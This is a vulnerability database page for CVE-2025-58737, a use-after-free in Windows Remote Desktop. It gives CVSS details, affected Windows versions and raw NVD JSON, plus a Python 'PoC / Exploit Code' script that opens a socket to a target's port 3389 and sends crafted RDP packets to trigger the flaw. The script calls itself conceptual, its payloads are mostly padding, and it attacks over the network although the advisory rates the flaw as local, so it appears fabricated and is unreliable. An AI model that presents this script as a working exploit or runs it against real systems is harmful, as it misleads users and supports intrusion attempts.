Security Vulnerability Report
中文
CVE-2025-58737 CVSS 7.0 HIGH

CVE-2025-58737

Published: 2025-10-14 17:15:56
Last Modified: 2025-10-16 19:55:19

Description

Use after free in Windows Remote Desktop allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10(所有受支持版本)
Windows 11(所有受支持版本)
Windows Server 2019
Windows Server 2022
Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58737 - Windows Remote Desktop Use After Free PoC # This is a conceptual PoC demonstrating the exploitation approach # Note: Actual exploitation requires specific environment setup import socket import struct import sys class RDPUAFExploit: """ Conceptual PoC for CVE-2025-58737 Windows Remote Desktop Use After Free Vulnerability """ def __init__(self, target_host, target_port=3389): self.target_host = target_host self.target_port = target_port self.session_id = None def build_rdp_negotiation_request(self): """Build RDP Negotiation Request packet""" # TPKT Header tpkt_header = struct.pack('!BBH', 3, 0, 11) # X.224 Connection Request x224_cr = struct.pack('!BB', 0x26, 0) + b'\x00\x00\x00\x00' # RDP Negotiation Request rdp_neg = struct.pack('<I', 0x00000001) # type rdp_neg += struct.pack('<I', 0) # length rdp_neg += struct.pack('<I', 0x00000000) # requestedProtocols return tpkt_header + x224_cr + rdp_neg def trigger_uaf(self): """ Trigger Use After Free by sending crafted RDP packets that cause object deallocation followed by access to the freed memory region. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((self.target_host, self.target_port)) # Step 1: Send negotiation request print("[*] Sending RDP Negotiation Request...") sock.send(self.build_rdp_negotiation_request()) # Step 2: Receive response response = sock.recv(4096) print(f"[*] Received {len(response)} bytes") # Step 3: Send malformed channel definition to trigger UAF # This sequence causes the RDP component to free a session # object while still maintaining a reference to it print("[*] Triggering UAF via crafted channel data...") malicious_payload = self._craft_uaf_payload() sock.send(malicious_payload) # Step 4: Re-access the freed object to achieve code execution print("[*] Accessing freed object to trigger code execution...") trigger_payload = self._craft_trigger_payload() sock.send(trigger_payload) sock.close() print("[+] Exploit completed") except Exception as e: print(f"[-] Error: {e}") def _craft_uaf_payload(self): """Craft payload to trigger object deallocation""" # Malformed MCS Connect-Initial with oversized domain parameters payload = b'\x03\x00' # TPKT version payload += struct.pack('!H', 0xFFFF) # Oversized length payload += b'\x7f\x65' # X.224 type payload += b'\x00\x00\x00\x00\x00' payload += b'\x04\x01\x00' # MCS Connect-Initial payload += b'\x00' * 1024 # Padding to trigger heap operations return payload def _craft_trigger_payload(self): """Craft payload to access freed memory""" # Access the previously freed channel object payload = b'\x03\x00' payload += struct.pack('!H', 100) payload += b'\x7f\x66' # X.224 type payload += b'\x00' * 50 return payload if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_host>") sys.exit(1) exploit = RDPUAFExploit(sys.argv[1]) exploit.trigger_uaf()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58737", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:56.143", "lastModified": "2025-10-16T19:55:18.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows Remote Desktop allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.14393.8519", "matchCriteriaId": "860ADFF9-62D0-425B-9310-99ACFC92EB12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58737", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}